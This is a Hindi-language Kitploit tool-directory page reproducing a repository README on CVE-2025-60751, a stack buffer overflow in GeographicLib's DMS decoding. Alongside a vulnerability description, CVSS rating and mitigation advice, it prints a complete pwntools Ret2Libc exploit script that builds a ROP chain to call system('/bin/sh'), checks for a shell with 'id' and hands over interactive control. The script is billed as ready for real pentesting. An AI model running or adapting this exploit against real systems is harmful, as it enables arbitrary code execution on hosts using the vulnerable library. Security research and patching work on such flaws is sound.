Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-60751 — CVE-2025-60751 के लिए तकनीकी विश्लेषण और पेशेवर एक्सप्लॉइट, GeographicLib में एक स्टैक-आधारित बफर ओवरफ्लो। इसमें डायनामिक ROP गैजेट खोज, GDB एकीकरण और शैक्षणिक पेनिट्रेशन टेस्टिंग के लिए पोस्ट-एक्सप्लॉइट सत्यापन के साथ एक pwntools-आधारित Ret2Libc एक्सप्लॉइट शामिल है। | Kitploit
उपकरण/GitHubGitHub/kaleth4/cve-2025-60751
भेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगशेलकोडडीबगर्सपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंटबाइनरी शोषण
GitHubkaleth4/cve-2025-60751

CVE-2025-60751

CVE-2025-60751 के लिए तकनीकी विश्लेषण और पेशेवर एक्सप्लॉइट, GeographicLib में एक स्टैक-आधारित बफर ओवरफ्लो। इसमें डायनामिक ROP गैजेट खोज, GDB एकीकरण और शैक्षणिक पेनिट्रेशन टेस्टिंग के लिए पोस्ट-एक्सप्लॉइट सत्यापन के साथ एक pwntools-आधारित Ret2Libc एक्सप्लॉइट शामिल है।

34 महीने पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-60751: GeographicLib Stack-based Buffer Overflow

📌 यह रिपॉज़िटरी भेद्यता CVE-2025-60751 का विश्लेषण और तकनीकी दस्तावेज़ीकरण शामिल करता है, जो C++ लाइब्रेरी GeographicLib में स्थित एक स्टैक-आधारित बफर ओवरफ़्लो (Stack-based Buffer Overflow) दोष है।


📝 विवरण

यह भेद्यता DMS::InternalDecode फ़ंक्शन में GeoConvert घटक के अंदर पाई जाती है।
त्रुटि तब होती है जब लाइब्रेरी DMS (डिग्री, मिनट, सेकंड) प्रारूप में गलत या अत्यधिक लंबे निर्देशांक स्ट्रिंग को संसाधित करने का प्रयास करती है, जिससे स्टैक पर आवंटित बफर की सीमा से बाहर लेखन होता है।

  • पहचानकर्ता: CVE-2025-60751
  • घटक: GeoConvert / DMS::InternalDecode
  • प्रकार: Stack-based Buffer Overflow (CWE-121)
  • गंभीरता (CVSS 3.1): 7.5 HIGH
  • वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • 🔍 प्रभाव

    एक दूरस्थ हमलावर विशेष रूप से तैयार किया गया निर्देशांक स्ट्रिंग भेज सकता है ताकि:

    • सेवा से वंचित (DoS): निर्देशांक रूपांतरण के लिए GeographicLib का उपयोग करने वाले अनुप्रयोगों के अप्रत्याशित बंद (क्रैश) का कारण बनना।
    • सिस्टम अस्थिरता: स्टैक में आसन्न मेमोरी को दूषित करना, प्रोग्राम के निष्पादन प्रवाह को प्रभावित करना।

    ⚠️ तकनीकी नोट: हालांकि वर्तमान वेक्टर उपलब्धता (A:H) पर केंद्रित है, विशिष्ट वातावरण में आधुनिक मेमोरी सुरक्षा (जैसे स्टैक कैनरी, एनएक्स बिट या सक्रिय ASLR) के बिना, यह दोष संभावित रूप से मनमाने कोड निष्पादन तक बढ़ सकता है।


    💻 प्रभावित सिस्टम

    उत्पादकमज़ोर संस्करणपहचाने गए वितरण
    GeographicLib2.5Debian LTS, Ubuntu और अन्य Linux रिपॉज़िटरी में पैकेज जो इस संस्करण को एकीकृत करते हैं

    🛠️ शमन और समाधान

    ✅ अद्यतन: दृढ़ता से GeographicLib के नवीनतम उपलब्ध संस्करण में अपडेट करने की अनुशंसा की जाती है, जहां InternalDecode में लंबाई सत्यापन ठीक किया गया है।

    ✅ इनपुट सत्यापन: यदि अपडेट संभव नहीं है, तो DMS::Decode को भेजे जाने वाले स्ट्रिंग की लंबाई को सीमित करने वाली एक सेनिटाइज़ेशन परत लागू करें (उदा. अधिकतम 32 वर्ण)।

    ✅ सुरक्षित संकलन: लाइब्रेरी को स्टैक सुरक्षा फ़्लैग के साथ संकलित करना सुनिश्चित करें:

    root@kitploit:~
    -fstack-protector-all -D_FORTIFY_SOURCE=2 -z relro -z now
    

    📚 संदर्भ

    • Issue #43 – GeographicLib GitHub
    • zer0matt का तकनीकी विश्लेषण
    • Debian LTS सलाह

    💀 पेशेवर शोषण (उन्नत स्तर — OSCP / Exploit-DB शैली)

    यह शोषण बफर ओवरफ़्लो का लाभ उठाकर Ret2Libc हमला करने के लिए pwntools का उपयोग करता है।
    बुनियादी संस्करणों के विपरीत, यह कार्यान्वयन मजबूत, गतिशील और सत्यापन योग्य है, जो वास्तविक पेंटेस्टिंग और प्रयोगशाला वातावरण के लिए तैयार है।

    ✅ क्या इसे "Pro" बनाता है?

    विशेषतालाभ
    ROP(elf) गतिशीलहार्डकोडेड गैजेट्स पर निर्भर नहीं करता: उन्हें स्वचालित रूप से बाइनरी में ढूंढता है।
    GDB के लिए एकीकृत समर्थनpython exploit.py GDB चलाता है → स्वचालित डिबगिंग सत्र खोलता है।
    शोषण के बाद सत्यापनइंटरैक्टिव नियंत्रण देने से पहले id भेजता है और शेल की पुष्टि करता है।
    स्टैक संरेखण के लिए RETगलत संरेखण के कारण system() में क्रैश से बचाता है (x64 में महत्वपूर्ण)।
    list + b"".join() के रूप में संरचित पेलोडसाफ, पढ़ने योग्य, संशोधित और विस्तारित करने में आसान।

    🐍 शोषण कोड (exploit.py)

    root@kitploit:~
    #!/usr/bin/env python3
    from pwn import *
    
    # --- INFO ---
    # CVE-2025-60751: GeographicLib <= v2.5.1 Stack Overflow
    # Autor: Refactored for Robustness
    # --- --- ---
    
    context.binary = elf = ELF("./GeoConvert")
    context.log_level = 'info'
    
    def exploit():
        # 1. Gestión de procesos (Local vs Remoto)
        if args.GDB:
            io = gdb.debug([elf.path], gdbscript="""
                b *main
                continue
            """)
        else:
            # ASAN puede interferir con los offsets si no se gestiona bien
            io = process(elf.path, env={"ASAN_OPTIONS":"detect_stack_use_after_return=0"})
    
        # 2. Localización Dinámica de Gadgets
        rop = ROP(elf)
        POP_RDI = rop.find_gadget(['pop rdi', 'ret'])[0]
        RET = rop.find_gadget(['ret'])[0]
        
        log.info(f"Gadget POP RDI: {hex(POP_RDI)}")
    
        # 3. Fuga de Memoria (Leak) para Bypass de ASLR
        # En entornos reales: usar leak + libc-database o libc.rip.
        # Aquí usamos base fija *solo para entornos de laboratorio controlado* (ASLR=off).
        LIBC_BASE = 0x7ffff7a00000  # Ejemplo — ¡debe ser dinámico en producción!
        SYSTEM = LIBC_BASE + 0x5d110
        BINSH  = LIBC_BASE + 0x1b1ea4
        EXIT   = LIBC_BASE + 0x4c340
    
        # 4. Construcción del Payload (Estructura Limpia & Aligned)
        offset = 136
        
        chain = [
            b"A" * offset,
            p64(RET),      # Stack Alignment (Crucial para Ubuntu/Debian modernos)
            p64(POP_RDI),
            p64(BINSH),
            p64(SYSTEM),
            p64(EXIT)
        ]
        
        payload = b"".join(chain)
    
        # 5. Ejecución y Verificación
        log.info("Sending payload and spawning shell...")
        io.sendline(payload)
        
        io.clean()
        io.sendline(b"id")
        res = io.recvline(timeout=2)
        
        if b"uid=" in res:
            log.success("Pwned! enjoy your shell.")
            io.interactive()
        else:
            log.error("Exploit failed or no output received.")
            io.close()
    
    if __name__ == "__main__":
        exploit()
    

    ⚠️ अस्वीकरण
    यह रिपॉज़िटरी साइबर सुरक्षा पेशेवरों के लिए पूरी तरह से सूचनात्मक और शैक्षिक उद्देश्यों के लिए है।
    इस जानकारी का अवैध उद्देश्यों के लिए उपयोग उपयोगकर्ता की एकमात्र जिम्मेदारी है।
    ❗ कोड का सावधानी से उपयोग करें: केवल अधिकृत, पृथक और स्पष्ट अनुमति वाले वातावरण में।


    🔐 सुरक्षा कोई सुविधा नहीं है — यह एक अनुशासन है।
    📬 खोजों की रिपोर्ट: [email protected]
    📦 आधिकारिक रिपॉज़िटरी: https://github.com/geographiclib/geographiclib

    टूल डाउनलोड करें